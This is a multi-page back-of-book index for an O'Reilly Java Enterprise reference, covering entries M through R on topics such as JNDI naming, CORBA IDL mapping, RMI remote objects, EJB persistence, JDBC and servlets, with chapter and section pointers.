message-oriented middleware (MOM), JMS and: 1.3.7. JMS: Enterprise Messaging
MessageFormatException class: 21. The javax.jms Package
MessageListener interface: 21. The javax.jms Package
MessageNotReadableException class: 21. The javax.jms Package
MessageNotWriteableException class: 21. The javax.jms Package
21. The javax.jms Package
MessageProducer interface: 21. The javax.jms Package
messaging
point-to-point: 21. The javax.jms Package
publish/subscribe: 21. The javax.jms Package
metadata
EJB objects: 19. The javax.ejb Package
JDBC: 2.9. Metadata
properties, querying for: 11.12. Property Service
resultsets, SQL queries: 18. The java.sql Package
method call semantics (IDL), mapping to Java: 10.10.4.3. Methods
methods
asynchronous (CORBA): 11.3. Event Service
calls, return values or exceptions: 3.1.2. RMI Architecture
IDL
context variables: 10.10.2.3. Context values
implementation: 4.2.1. An IDL Primer
mapping to Java interface: 10.10.4.3. Methods
IDL interfaces: 4.2.1.3. Data members and methods
IDL interfaces, inheriting: 10.10.3. Interface Inheritance
IDL operations: 10.10.2. Methods
call semantics: 10.10.2.4. Call semantics
exceptions: 10.10.2.2. Exceptions
identifiers: 10.10.3.1. Method and attribute inheritance
parameter modifiers: 4.2.1. An IDL Primer
parameters: 10.10.2.1. Parameters
time limit, exceeding: 22. The javax.naming Package
Microsoft
Access database, metadata: 2.9.1. DatabaseMetaData
ODBC (Open DataBase Connectivity): 2.1. JDBC Architecture
Visual C++ pre-processor: 12. Java IDL Tools
MIME types
filtering, servlets: 5.3. Servlet Chaining
transmitting, servlets: 5.9. Databases and Non-HTML Content
modification types (attributes): 6.10. Modifying Directory Entries
ModificationItem class: 6.10. Modifying Directory Entries
23. The javax.naming.directory Package
modifier methods, unions (IDL), mapping to Java: 10.7.6.1. Mapping unions to Java
10.7.6.1. Mapping unions to Java
modifiers (IDL methods): 4.2.1. An IDL Primer
modifyAttributes()
Attribute class: 23. The javax.naming.directory Package
AttributeModificationException class: 23. The javax.naming.directory Package
Attributes interface: 23. The javax.naming.directory Package
DirContext interface: 6.9.4. The Attribute Interface
6.10. Modifying Directory Entries
6.10. Modifying Directory Entries
23. The javax.naming.directory Package
modules, CORBA object relationships: 11.8. Relationship Service
modules (IDL): 4.2.1.1. Modules
10. IDL Reference
declarations: 10.9. Module Declarations
mapping to Java: 10.9.1. Mapping Modules to Java
nesting within files: 4.2.1. An IDL Primer
MOM (see message-oriented middleware)
moveToCurrentRow() (ResultSet): 2.13.1. Results Handling
moveToInsertRow() (ResultSet): 2.13.1. Results Handling
multicast objects (remote object communication): 3.1.2. RMI Architecture

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: N

Name interface: 22. The javax.naming Package
name servers, JNDI and: 1.3.4. JNDI: Accessing Naming and Directory Services
NameAlreadyBoundException class: 22. The javax.naming Package
NameClassPair class: 6.6. Listing the Children of a Context
22. The javax.naming Package
NameComponent arrays (CORBA NamingContext): 11.1. Naming Service
NameComponent class: 4.3.3. Adding Objects to a Naming Context
4.4.2.1. Using a naming context
35. The org.omg.CosNaming Package
NameComponentHelper class: 35. The org.omg.CosNaming Package
NameComponentHolder class: 35. The org.omg.CosNaming Package
NamedValue class: 4.5.1. Dynamic Invocation Interface
30. The org.omg.CORBA Package
NameHelper class: 35. The org.omg.CosNaming Package
NameHolder class: 35. The org.omg.CosNaming Package
NameNotFoundException class: 6.2. A JNDI Example
22. The javax.naming Package
NameParser interface: 22. The javax.naming Package
names
atomic, compound vs.: 6.9.2. The DirContext Interface
attributes (attribute ID): 23. The javax.naming.directory Package
composite: 22. The javax.naming Package
compound: 6.6.1. How Names Work
22. The javax.naming Package
fully-qualified: 3.1.3.1. Naming/registry service
how they work: 6.6.1. How Names Work
invalid syntax: 22. The javax.naming Package
NameValuePair class: 30. The org.omg.CORBA Package
naming
IDL, scope: 10.6. Naming Scopes
scopes (IDL), interfaces (inherited): 10.10.3.2. Constant, type, and exception inheritance
naming and directory services (networked), JNDI and: 1.3.4. JNDI: Accessing Naming and Directory Services
Naming class: 13. The java.rmi Package
naming context
JNDI: 7.8.1. Finding Home Interfaces Through JNDI
object reference, obtaining: 4.4.2.1. Using a naming context
naming conventions
bound objects (sessions): 5.8. Session Tracking
SQL objects (within schemas): 8.1. Relational Databases
tables and schemas (SQL): 8.1. Relational Databases
naming directory, structure: 35. The org.omg.CosNaming Package
Naming interface: 3.1.1. RMI in Action
3.1.3.1. Naming/registry service
3.4.1. The Registry and Naming Services
3.4.1. The Registry and Naming Services
remote objects, looking up (example): 3.1.1. RMI in Action
naming registry: 13. The java.rmi Package
Naming Service (CORBA): 4.1.3. The Naming Service
4.3.2. Registering with a Naming Service
4.4.1. Initial ORB References
4.4.2.2. Using multiple naming services
11.1. Naming Service
11.1. Naming Service
11.5. Life Cycle Service
35. The org.omg.CosNaming Package
references, narrowing: 4.4.2.1. Using a naming context
Naming Service (IDL): 12. Java IDL Tools
naming services
context: 6.3. Introducing the Context
directory services vs.: 6. JNDI
JNDI SPI and: 6.1. JNDI Architecture
JNDI supporting (Java programs): 6. JNDI
references to other naming services: 4.4.2.2. Using multiple naming services
RMI: 3.1.3.1. Naming/registry service
3.4.1. The Registry and Naming Services
using multiple: 4.4.2.2. Using multiple naming services
naming systems
browsing: 6.6.2. Browsing a Naming System
enterprise Java suppliers, JNDI accessing: 6. JNDI
initial context: 6.3.1. Using the InitialContext Class
naming operations (JNDI-accessible systems): 6.5. The NamingShell Application
objects, looking up: 6.2. A JNDI Example
6.4. Looking Up Objects in a Context
service providers (other): 6.3.2. Other Naming Systems
NamingContext interface: 4.1.3. The Naming Service
11.1. Naming Service
35. The org.omg.CosNaming Package
NamingContextHelper class: 35. The org.omg.CosNaming Package
NamingContextHolder class: 35. The org.omg.CosNaming Package
_NamingContextImplBase class: 35. The org.omg.CosNaming Package
_NamingContextStub class: 35. The org.omg.CosNaming Package
NamingEnumeration interface: 6.6. Listing the Children of a Context
22. The javax.naming Package
NamingException class: 6.2. A JNDI Example
22. The javax.naming Package
NamingManager class: 6.1. JNDI Architecture
24. The javax.naming.spi Package
NamingSecurityException class: 22. The javax.naming Package
NamingShell class
directory server, using: 6.9.3. The Attributes Interface
implementation example: 6.6.2. Browsing a Naming System
JNDI commands, loading and executing: 6.5. The NamingShell Application
running: 6.5.3. Running the Shell
narrow()
NamingContextHelper class: 4.1.3. The Naming Service
PortableRemoteObject interface: 3.8. RMI over IIOP
3.8. RMI over IIOP
7.9.5. Assorted Other Changes
Native-API Partly-Java Drivers: 2.3. JDBC Drivers
native function libraries: 3.7. RMI and Native Method Calls
Native Interface API: 3.7. RMI and Native Method Calls
native members: 38.2.3.1. Member availability and flags
Native-protocol All-Java Drivers: 2.3. JDBC Drivers
Net-protocol All-Java Drivers: 2.3. JDBC Drivers
Netscape Directory Server (NDS): 6.9.1. X.500 Directories
network protocols
CORBA, defining: 4.1.4. Inter-ORB Communication
TCP/IP: 1.2. Enterprise Computing Demystified
network services, Java Enterprise APIs, supporting: 1.3. The Java Enterprise APIs
networking services, Novell NDS and: 6.9.1. X.500 Directories
networks
applications, creating with RMI: 1.3.2. RMI: Remote Method Invocation
heterogeneous devices: 1.2. Enterprise Computing Demystified
schematic (hypothetical enterprise): 1.4. Enterprise Computing Scenarios
newCall() (RemoteRef): 17. The java.rmi.server Package
new_Context() (NamingContext): 35. The org.omg.CosNaming Package
newInstance()
ActivationGroup class: 3.6.4. Activation Groups
ActivationInstantiator interface: 14. The java.rmi.activation Package
newInstnce(), ActivationGroup class: 14. The java.rmi.activation Package
next(), ResultSet interface: 18. The java.sql Package
next() (ResultSet): 2.6. Results
next_n() (BindingIterator): 35. The org.omg.CosNaming Package
next_one() (BindingIterator): 35. The org.omg.CosNaming Package
NO_IMPLEMENT class: 30. The org.omg.CORBA Package
NoInitialContextException class: 22. The javax.naming Package
NO_MEMORY class: 30. The org.omg.CORBA Package
non-HTML content (servlets): 5.9. Databases and Non-HTML Content
non-object oriented languages (CORBA specifications and): 4.1. The CORBA Architecture
nonclass data structure definitions (C++ and IDL): 4.2.1. An IDL Primer
nonremote objects, remote objects vs.: 3.4.2. Remote Method Arguments and Return Values
nonrepeatable reads (transactions): 7.3.2. Transaction Isolation Levels
NO_PERMISSION class: 30. The org.omg.CORBA Package
NoPermissionException class: 6.2. A JNDI Example
22. The javax.naming Package
NO_RESOURCES class: 30. The org.omg.CORBA Package
NO_RESPONSE class: 30. The org.omg.CORBA Package
NoSuchAttributeException class: 23. The javax.naming.directory Package
NoSuchObjectException class: 13. The java.rmi Package
NotBoundException class: 13. The java.rmi Package
NotContextException class: 22. The javax.naming Package
NotEmpty class: 36. The org.omg.CosNaming. NamingContextPackage Package
NotEmptyHelper class: 36. The org.omg.CosNaming. NamingContextPackage Package
NotEmptyHolder class: 36. The org.omg.CosNaming. NamingContextPackage Package
NotFound class: 4.3.3. Adding Objects to a Naming Context
4.4.2.1. Using a naming context
36. The org.omg.CosNaming. NamingContextPackage Package
NotFoundHelper class: 36. The org.omg.CosNaming. NamingContextPackage Package
NotFoundHolder class: 36. The org.omg.CosNaming. NamingContextPackage Package
NotFoundReason class: 36. The org.omg.CosNaming. NamingContextPackage Package
NotFoundReasonHolder class: 36. The org.omg.CosNaming. NamingContextPackage Package
notification (CORBA Event Service): 11.3. Event Service
NotSupportedException class: 28. The javax.transaction Package
Novell Directory Services (see Novell NDS)
Novell NDS: 6. JNDI
NdsObject interface (JNDI SPI): 6.1. JNDI Architecture
NetWare Directory Services: 6.9.1. X.500 Directories
service provider (JNDI): 6.4. Looking Up Objects in a Context
null values
database columns: 2.6.1. Handling Nulls
inserting with PreparedStatement: 2.8. Prepared Statements
rows, inserting: 2.13.1. Results Handling
nullsAreSortedHigh() (DatabaseMetaData): 2.9.1. DatabaseMetaData
numeric literals (IDL): 10.5.3. Numeric Literals
mapping to Java: 10.5.3.4. Mapping numeric literals to Java
NVList class: 30. The org.omg.CORBA Package

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: O

OBJ_ADAPTER class: 30. The org.omg.CORBA Package
object class definition: 6.9.2. The DirContext Interface
object class definition (directory entry): 6.11. Creating Directory Entries
Object Data Management Group (ODMG): 11.4. Persistent Object Service
Object interface: 30. The org.omg.CORBA Package
CORBA: 4.4. Finding Remote Objects
10.10.4. Mapping Interfaces to Java
direct communication with remote object: 4.5. What If I Don't Know the Interface?
remote method requests, sending: 4.4. Finding Remote Objects
Security Service support: 11.2. Security Service
Object Management Group (see OMG)
object-oriented languages, mapping to Corba specifications: 4.1. The CORBA Architecture
object-oriented programming
Java language, power: 1.2. Enterprise Computing Demystified
RMI, extending to client-server: 1.3.2. RMI: Remote Method Invocation
object-oriented programming (Java): 2.13.3. Java-Aware Databases
Object Request Broker (see ORBs)
ObjectFactory interface: 24. The javax.naming.spi Package
ObjectFactoryBuilder interface: 24. The javax.naming.spi Package
ObjectHolder class: 30. The org.omg.CORBA Package
ObjectImpl class: 4.4. Finding Remote Objects
33. The org.omg.CORBA.portable Package
ObjectMessage interface: 21. The javax.jms Package
OBJECT_NOT_EXIST class: 30. The org.omg.CORBA Package
ObjectNotFoundException class: 19. The javax.ejb Package
objects
acting as clients and servers: 1.3.2. RMI: Remote Method Invocation
adding to NamingContext (CORBA): 4.3.3. Adding Objects to a Naming Context
attributes, associating with (directory services): 6. JNDI
binding: 6.8. Binding Objects
binding to NamingService: 4.3.3. Adding Objects to a Naming Context
subcontexts: 4.3.3. Adding Objects to a Naming Context
binding to sessions: 5.8. Session Tracking
5.8.1. HttpSessionBindingListener
CORBA
exporting: 11.7. Externalization Service
grouping into collections: 11.15. Collection Service
relationships, defining: 11.8. Relationship Service
CORBA, creating: 4.2. Creating CORBA Objects
CORBA support: 4.1. The CORBA Architecture
data types, Java handling: 4.2.1. An IDL Primer
EJB: 7.2.2. The Enterprise JavaBeans Object
business methods, implementing: 7.2.2. The Enterprise JavaBeans Object
components: 7.4. Implementing a Basic EJB Object
deployment descriptors, providing for containers: 7.2.2. The Enterprise JavaBeans Object
implementing basic: 7.4. Implementing a Basic EJB Object
JDBC connections, providing (EJB server): 7.3.1. Making the EJB Server Aware of Database Transactions
transaction boundaries, defining: 7.3. Transaction Management
transactions, declaring new: 7.3. Transaction Management
transactions, managing: 7.3. Transaction Management
factories (CORBA): 11.5. Life Cycle Service
interfaces, defining (IDL): 10. IDL Reference
Java types, inserting into databases: 2.8. Prepared Statements
leaves: 6.4. Looking Up Objects in a Context
looking up in Context: 6.4. Looking Up Objects in a Context
names, associating with: 6. JNDI
non-serializable, MarshalException, throwing: 3.4.2. Remote Method Arguments and Return Values
remote distribution, enabled: 3.2. Defining Remote Objects
remote vs. nonremote: 3.4.2. Remote Method Arguments and Return Values
remote or serializable, transport methods, deciding: 3.4.2. Remote Method Arguments and Return Values
services provided (RMI): 3.1.3. RMI Object Services
storing and manipulating, support for: 2.13.3. Java-Aware Databases
object_to_string() (ORB): 4.4.3. Stringified Object References
30. The org.omg.CORBA Package
ObjID class: 17. The java.rmi.server Package
ODBC, URLs, example: 2.3.2. The JDBC-ODBC Bridge
ODMG (Object Data Management Group): 11.4. Persistent Object Service
oj (outer join) keyword: 2.12. Escape Sequences
OMG
CORBA Services specification, downloading: 11. CORBA Services Reference
CORBA standard, defining: 1.3.3. Java IDL: CORBA Distributed Objects
IDL and Java mapping reference, downloading: 10. IDL Reference
IDL to Java mapping: 12. Java IDL Tools
Java IDL mapping: 4.1.1. Interface Definition Language
oneway keyword (best-effort method call semantics): 10.10.2.4. Call semantics
onMessage() (MessageListener): 21. The javax.jms Package
OODBMS (object-oriented database management systems: 2.13.3. Java-Aware Databases
Open DataBase Connectivity (Microsoft) (see ODBC)
Operation class: 17. The java.rmi.server Package
OperationNotSupportedException class: 6.2. A JNDI Example
22. The javax.naming Package
operators
IDL C/C++, support for: 10.5. Constants and Literals
SQL, listed: 8.4.1. SELECT
Oracle JDBC-Thin driver (URLs, type): 2.3.1. JDBC URLs
Oracle PL/SQL stored procedure (example): 2.11. Stored Procedures
ORB
communications between ORBs: 4.1.4. Inter-ORB Communication
object clients and servers, requests: 4.1.2. Object Request Broker
ORB class: 30. The org.omg.CORBA Package
ORBClass property: 4.3.1. Initializing the ORB
ORBInitialHost property: 4.3.1. Initializing the ORB
ORBInitialPort property: 4.3.1. Initializing the ORB
ORBs
bounds checks, data: 10.4.1.1. Mapping strings and characters to Java
communications between ORBs, stringified object references and: 4.4.3. Stringified Object References
containers (EJB) vs.: 7.2. EJB Roles
default implementation (IDL): 4.3.1. Initializing the ORB
host and port, specifying initial: 4.4.2.2. Using multiple naming services
initial object references, implementation not standardized: 4.4.1. Initial ORB References
initial references, listing: 4.4.1. Initial ORB References
initializing: 4.3.1. Initializing the ORB
remote naming service reference: 4.4.3. Stringified Object References
properties, specifying (methods): 4.3.1. Initializing the ORB
reference, initializing: 4.3.1. Initializing the ORB
remote object references: 4.4. Finding Remote Objects
services provided: 4.4.1. Initial ORB References
ORBSingletonClass property: 4.3.1. Initializing the ORB
org.omg.CORBA package: 4. Java IDL
4.3.2. Registering with a Naming Service
30. The org.omg.CORBA Package
org.omg.CORBA.DynAnyPackage package: 31. The org.omg.CORBA.DynAnyPackage Package
org.omg.CORBA.ORBPackage package: 32. The org.omg.CORBA.ORBPackage Package
org.omg.CORBA.portable package: 4.2.2.2. The helper class
33. The org.omg.CORBA.portable Package
org.omg.CORBA.TypeCodePackage package: 34. The org.omg.CORBA.TypeCodePackage Package
org.omg.CosNaming package: 4. Java IDL
35. The org.omg.CosNaming Package
org.omg.CosNaming.NamingContextPackage package: 36. The org.omg.CosNaming. NamingContextPackage Package
outer join keyword: 2.12. Escape Sequences
outer joins (SQL): 8.4.1.2. Subqueries and joins
output streams (servlet responses): 5.2.4. Servlet Responses
OutputStream class: 33. The org.omg.CORBA.portable Package
Overrides: flag: 38.2.3.1. Member availability and flags

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: P

page counter, implementing: 5.1. The Servlet Life Cycle
pages, redirecting (HTTP servlets): 5.2.4. Servlet Responses
<PARAM> tags (servlet tags, using): 5.6. Server-Side Includes
parameters
batch updates (CallableStatement): 2.13.2. Batch Updates
clearing (PreparedStatement): 2.8. Prepared Statements
CODE (servlet tags): 5.6. Server-Side Includes
CODEBASE (remote servlets, loading): 5.6. Server-Side Includes
IDL method calls, IDL/Java interface mapping: 10.10.4.1. Helper and holder classes
IDL methods: 10.10.2.1. Parameters
mapping to Java: 10.10.4.3. Methods
initialization, activated objects: 13. The java.rmi Package
servlet requests, accessing: 5.2.5. Servlet Requests
specifying, prepareStatement(): 2.8. Prepared Statements
stored procedures: 2.11. Stored Procedures
parents
Context objects and: 6.6.2. Browsing a Naming System
creating new context: 6.7. Creating and Destroying Contexts
parsePostData() (HttpUtils): 26. The javax.servlet.http Package
parseQueryString() (HttpUtils): 26. The javax.servlet.http Package
PartialResultException class: 22. The javax.naming Package
passivation
enterprise beans, container control: 7.2.3. The EJB Container
entity beans: 7.6.5. Life Cycle of an Entity Bean
bean-managed persistence: 7.6.3.1. A persistent ProfileBean
session beans: 19. The javax.ejb Package
stateless session beans and: 7.5.1. Stateless Versus Stateful Session Beans
passwords, authenticating: 5.2.7. Security
passwords (database connections): 2.4. Connecting to the Database
path, files (idltojava compiler): 12. Java IDL Tools
path, specifying (cookies): 5.7. Cookies
peer-to-peer systems, client vs. server: 3.1.2. RMI Architecture
performance
databases, precompiled SQL statements: 2.8. Prepared Statements
escape-sequence processing, affecting: 2.12. Escape Sequences
factory class vs. RMI registry": 3.4.3. Factory Classes
isolation levels vs.: 2.10. Transactions
URL encoding, problems: 5.8. Session Tracking
persistence
container-managed, database mapping: 7.7.1. Container-Managed Data Mapping
container support (enterprise beans): 7.2.3. The EJB Container
CORBA objects: 11.4. Persistent Object Service
EJB, container management of: 7.2.3. The EJB Container
entity beans: 7.6. Implementing Entity Beans
7.6.3.1. A persistent ProfileBean
bean-managed: 7.6. Implementing Entity Beans
7.6.3.1. A persistent ProfileBean
7.6.7. Container-Managed Persistence
container-managed: 7.6. Implementing Entity Beans
container-managed persistence: 7.6.7. Container-Managed Persistence
removing: 7.6.5. Life Cycle of an Entity Bean
entity beans vs. session beans: 7.2.2. The Enterprise JavaBeans Object
remote references: 3.2.1. Key RMI Classes for Remote Object Implementations
3.6.1. Persistent Remote References
14. The java.rmi.activation Package
servlets: 1.4.1. Enabling E-Commerce for a Mail-Order Enterprise
5. Java Servlets
5.1. The Servlet Life Cycle
servlets, web application efficiency: 5.4. Custom Servlet Initialization
session beans: 7.5.2. Optional Transaction Support
tnameserv implementation, CORBA Naming Service: 12. Java IDL Tools
Persistent Object Service (CORBA): 11.4. Persistent Object Service
11.9. Transaction Service
PERSIST_STORE class: 30. The org.omg.CORBA Package
phantom reads (transactions): 7.3.2. Transaction Isolation Levels
platform independence (JDBC): 2.1. JDBC Architecture
point-to-point, messaging: 21. The javax.jms Package
point-to-point communication
Activatable and UnicastRemoteObject objects: 14. The java.rmi.activation Package
object references: 3.1.2. RMI Architecture
policy, security (CORBA): 4. Java IDL
policy files (Java): 3.5.1. Configuring Clients and Servers for Remote Class Loading
3.5.1. Configuring Clients and Servers for Remote Class Loading
Policy interface: 30. The org.omg.CORBA Package
PolicyError class: 30. The org.omg.CORBA Package
policy_type() (Policy): 30. The org.omg.CORBA Package
poll_response() (Request): 30. The org.omg.CORBA Package
PooledConnection interface: 2.13.5. The JDBC Standard Extension
27. The javax.sql Package
pooling
containers (EJB), stateless session beans: 7.5.1. Stateless Versus Stateful Session Beans
database connections: 5.9. Databases and Non-HTML Content
entity beans: 7.6. Implementing Entity Beans
7.6.5. Life Cycle of an Entity Bean
servlet instances: 5.5. Thread Safety
stateless session beans: 7.5.1. Stateless Versus Stateful Session Beans
pooling connections: 2.10. Transactions
JDBC: 2.4. Connecting to the Database
JDBC 2.0 standard extension: 2.13.5. The JDBC Standard Extension
port, specifying (ORB): 4.4.2.2. Using multiple naming services
PortableRemoteObject class: 3.8. RMI over IIOP
PortableRemoteObject interface: 7.9.5. Assorted Other Changes
ports
activation daemon: 3.6.5.1. The daemon's dual personality
client requests on CORBA Naming Service: 12. Java IDL Tools
exceptions (already in use): 17. The java.rmi.server Package
exported objects, specifying for: 3.6.2.1. The Activatable class
exported remote objects, specifying for: 3.6.2.2. Implementing an activatable object
ORBs, specifying: 4.3.1. Initializing the ORB
registry daemons, listening on: 3.4.1. The Registry and Naming Services
RMI activation daemon: 9. RMI Tools
9. RMI Tools
RMI registry: 9. RMI Tools
servers, obtaining (servlet requests): 5.2.5. Servlet Requests
position()
Blob interface: 18. The java.sql Package
Clob interface: 18. The java.sql Package
POST (HTTP request): 5.2.3. POST, HEAD, and Other Requests
POST (HTTP requests): 5.5. Thread Safety
pragma directives (preprocessing), idltojavacompiler: 12. Java IDL Tools
preferred flag: 38.2.3.1. Member availability and flags
prepareCall()
CallableStatement interface: 2.11. Stored Procedures
Connection interface: 2.11. Stored Procedures
PreparedStatement interface: 2.5. Statements
2.8. Prepared Statements
18. The java.sql Package
batch updates: 2.13.2. Batch Updates
parameters, setting (example): 2.8. Prepared Statements
prepareStatement() (Connection): 2.8. Prepared Statements
prepareStatement()(Connection): 18. The java.sql Package
preprocessing directives (idltojava compiler): 12. Java IDL Tools
previous(), ResultSet interface: 18. The java.sql Package
primary keys
class, specifying (deployment descriptors): 7.7. Deploying an Enterprise JavaBeans Object
entity beans: 7.6. Implementing Entity Beans
7.6.1. Primary Keys
container-managed persistence: 7.6.7. Container-Managed Persistence
EJB 1.1 specification, changes: 7.9.5. Assorted Other Changes
session beans: 7.6.1. Primary Keys
SQL: 8.3.1. CREATE TABLE
user name, storing (bean-managed persistence): 7.6.3.1. A persistent ProfileBean
primitive data types: 2.6. Results
Principal class: 30. The org.omg.CORBA Package
PrincipalHolder class: 30. The org.omg.CORBA Package
print() (ServletOutputStream): 25. The javax.servlet Package
println() (ServletOutputStream): 25. The javax.servlet Package
PrintReader: 5.3. Servlet Chaining
printWarnings() (SQLWarning): 2.7.1. SQL Warnings
privacy issues (cookies): 5.7. Cookies
profile server: 7.4. Implementing a Basic EJB Object
properties
deployment options, settings: 7. Enterprise JavaBeans
EJB components: 7. Enterprise JavaBeans
file, creating (LDAP server): 6.9.3. The Attributes Interface
files, creating (naming services): 6.5.2. Loading an Initial Context
initial context (naming systems): 6.3.1. Using the InitialContext Class
JMS messages: 21. The javax.jms Package
naming systems, changing: 6.2. A JNDI Example
properties file, EJB server creating JDBC connection pool: 7.3.1. Making the EJB Server Aware of Database Transactions
properties (ORBs)
nonstandard: 4.3.1. Initializing the ORB
specifying: 4.3.1. Initializing the ORB
standard: 4.3.1. Initializing the ORB
Property Service (CORBA): 11.12. Property Service
protocol (servlet requests), accessing: 5.2.5. Servlet Requests
PROVIDER_URL properties: 6.2. A JNDI Example
7.8.1. Finding Home Interfaces Through JNDI
public classes: 4.2.1. An IDL Primer
7.4.3. The Bean Implementation
publish/subscribe messaging: 21. The javax.jms Package
pull events (CORBA): 11.3. Event Service
push events (CORBA): 11.3. Event Service
put() (BasicAttributes): 23. The javax.naming.directory Package
PUT (HTTP request): 5.2.3. POST, HEAD, and Other Requests
putValue() (HttpSession): 5.8. Session Tracking
26. The javax.servlet.http Package

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Q

queries
results, treating as JavaBeans component: 2.13.5. The JDBC Standard Extension
SQL: 2.5. Statements
Query Service (CORBA): 11.10. Query Service
Queue interface: 21. The javax.jms Package
QueueBrowser interface: 21. The javax.jms Package
QueueConnection interface: 21. The javax.jms Package
QueueConnectionFactory interface: 21. The javax.jms Package
QueueReceiver interface: 21. The javax.jms Package
QueueRequestor interface: 21. The javax.jms Package
QueueSender interface: 21. The javax.jms Package
QueueSession interface: 21. The javax.jms Package

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: R

RDBMS (relational database management system), tables: 8.1. Relational Databases
reactivation constructors: 3.6.2.1. The Activatable class
3.6.2.2. Implementing an activatable object
read(), ObjID class: 17. The java.rmi.server Package
read-only result sets: 2.13.1. Results Handling
readLine() (ServletInputStream): 25. The javax.servlet Package
rebind()
Context interface: 6.8. Binding Objects
Naming class: 13. The java.rmi Package
NamingContext interface: 35. The org.omg.CosNaming Package
Registry interface: 3.4.1. The Registry and Naming Services
16. The java.rmi.registry Package
rebind_context() (NamingContext): 35. The org.omg.CosNaming Package
reentrance (deployment descriptor specification): 7.7. Deploying an Enterprise JavaBeans Object
Ref interface: 18. The java.sql Package
RefAddr class: 22. The javax.naming Package
Reference class: 22. The javax.naming Package
Referenceable interface: 22. The javax.naming Package
references, local and remote registries, obtaining: 3.4.1. The Registry and Naming Services
ReferralException class: 22. The javax.naming Package
RefFSContextFactory class: 6.2. A JNDI Example
RefFSContxtFactory class: 6.3.1. Using the InitialContext Class
register() (Activatable): 3.6.3.1. Registering an activatable object without instantiating
14. The java.rmi.activation Package
registerGroup() (ActivationSystem): 3.6.4.1. Registering activation groups
14. The java.rmi.activation Package
registerObject() (ActivationSystem): 14. The java.rmi.activation Package
registerOutParameter() (CallableStatement): 2.11. Stored Procedures
registerOutputParameters(), CallableStatement interface: 18. The java.sql Package
registerSynchronization() (Transaction): 28. The javax.transaction Package
28. The javax.transaction Package
registries
local and remote, obtaining references: 3.4.1. The Registry and Naming Services
RMI services provided: 3.1.3.1. Naming/registry service
Registry interface: 3.1.3.1. Naming/registry service
3.4.1. The Registry and Naming Services
16. The java.rmi.registry Package
registry, naming: 13. The java.rmi Package
RegistryHandler class: 16. The java.rmi.registry Package
related tables (RDBMS): 8.1. Relational Databases
relational database management system (RDBMS): 8.1. Relational Databases
relational databases: 2. JDBC
JDBC, working with: 1.3.1. JDBC: Working with Databases
not object-oriented: 2.13.3. Java-Aware Databases
structure: 8. SQL Reference
Relationship Service (CORBA): 11.5. Life Cycle Service
11.8. Relationship Service
RemarshalException class: 33. The org.omg.CORBA.portable Package
remote interface: 7.4. Implementing a Basic EJB Object
7.9.5. Assorted Other Changes
business methods available to client: 7.2.2. The Enterprise JavaBeans Object
defining: 7.4.2. Remote Interface
EJB, RMI vs.: 7.2.2. The Enterprise JavaBeans Object
finder methods: 7.6.2. Finder Methods
implementing
directly (EJB class): 7.4.3. The Bean Implementation
stub and skeleton classes: 3.2. Defining Remote Objects
JAR files: 7.7.4. Packaging Enterprise JavaBeans
methods, relation to home interface and bean implementation methods: 7.4. Implementing a Basic EJB Object
remote exceptions, declaring: 3.2. Defining Remote Objects
remote object, specifying: 3.2. Defining Remote Objects
stub and skeleton classes, implementing: 9. RMI Tools
remote method calls, executing with DII and DSI: 4.5. What If I Don't Know the Interface?
Remote Method Invocation (see RMI)
remote methods
arguments: 3.4.2. Remote Method Arguments and Return Values
CORBA, out or inout arguments: 4.2.2. Turning IDL Into Java
declaring (remote interface): 3.2. Defining Remote Objects
IDL, inout parameter: 4.2.2.3. The holder class
implementation, server (IDL/Java conversion): 4.2.3. Writing the Implementation
return values: 3.4.2. Remote Method Arguments and Return Values
remote objects
activatable, implementing: 3.6.2. Defining an Activatable Remote Object
3.6.2.2. Implementing an activatable object
activatable, defining: 3.6. Remote Object Activation
3.6.2. Defining an Activatable Remote Object
activation: 3.6. Remote Object Activation
activation groups: 3.6.4. Activation Groups
activation groups, registering with: 3.6.4.2. Assigning activatable objects to groups
activation service (RMI): 3.1.3.2. Object activation service
binding to CORBA Naming Service (JNDI): 3.8. RMI over IIOP
binding to names: 3.4.1. The Registry and Naming Services
class names, finding: 3.6.4. Activation Groups
classes, tracking (serialver utility): 9. RMI Tools
classes, implementation (RMI): 3.2.1. Key RMI Classes for Remote Object Implementations
classes (RMI registry): 3.4.1. The Registry and Naming Services
clients accessing: 4.3. Putting It in the Public Eye
containers (EJB), primary keys, converting: 7.6.2. Finder Methods
CORBA
delegates: 4.2.2.2. The helper class
life cycle, controlling: 11.5. Life Cycle Service
creating and using: 3. Remote Method Invocation
defining: 3.2. Defining Remote Objects
3.2.1. Key RMI Classes for Remote Object Implementations
disassociating from beans: 7.6.5. Life Cycle of an Entity Bean
EJB: 7.2. EJB Roles
EJB, client uses: 7.2.1. The EJB Client
factory classes: 3.4.3. Factory Classes
finding: 4.4. Finding Remote Objects
getting from other remote objects: 4.4.2. Getting Objects from Other Remote Objects
IDL (interfaces, describing): 4. Java IDL
interaction, starting: 3.5. Dynamically Loaded Classes
interface, defining: 3.1.1. RMI in Action
interfaces not available: 4.5. What If I Don't Know the Interface?
JNDI, looking up: 6. JNDI
looking up (RMI registry): 3.4.1. The Registry and Naming Services
naming service (CORBA): 4.1.3. The Naming Service
native code, exporting (RMI and JNI): 3.7.1. RMI with JNI Versus CORBA
nonremote objects vs.: 3.4.2. Remote Method Arguments and Return Values
nonreplicated: 17. The java.rmi.server Package
references as printable character strings: 4.4.3. Stringified Object References
registering (RMI registry): 3.1.1. RMI in Action
remote reference, generating: 3.4.2. Remote Method Arguments and Return Values
server implementations: 17. The java.rmi.server Package
server-side implementation: 17. The java.rmi.server Package
session beans vs.: 7.5. Implementing Session Beans
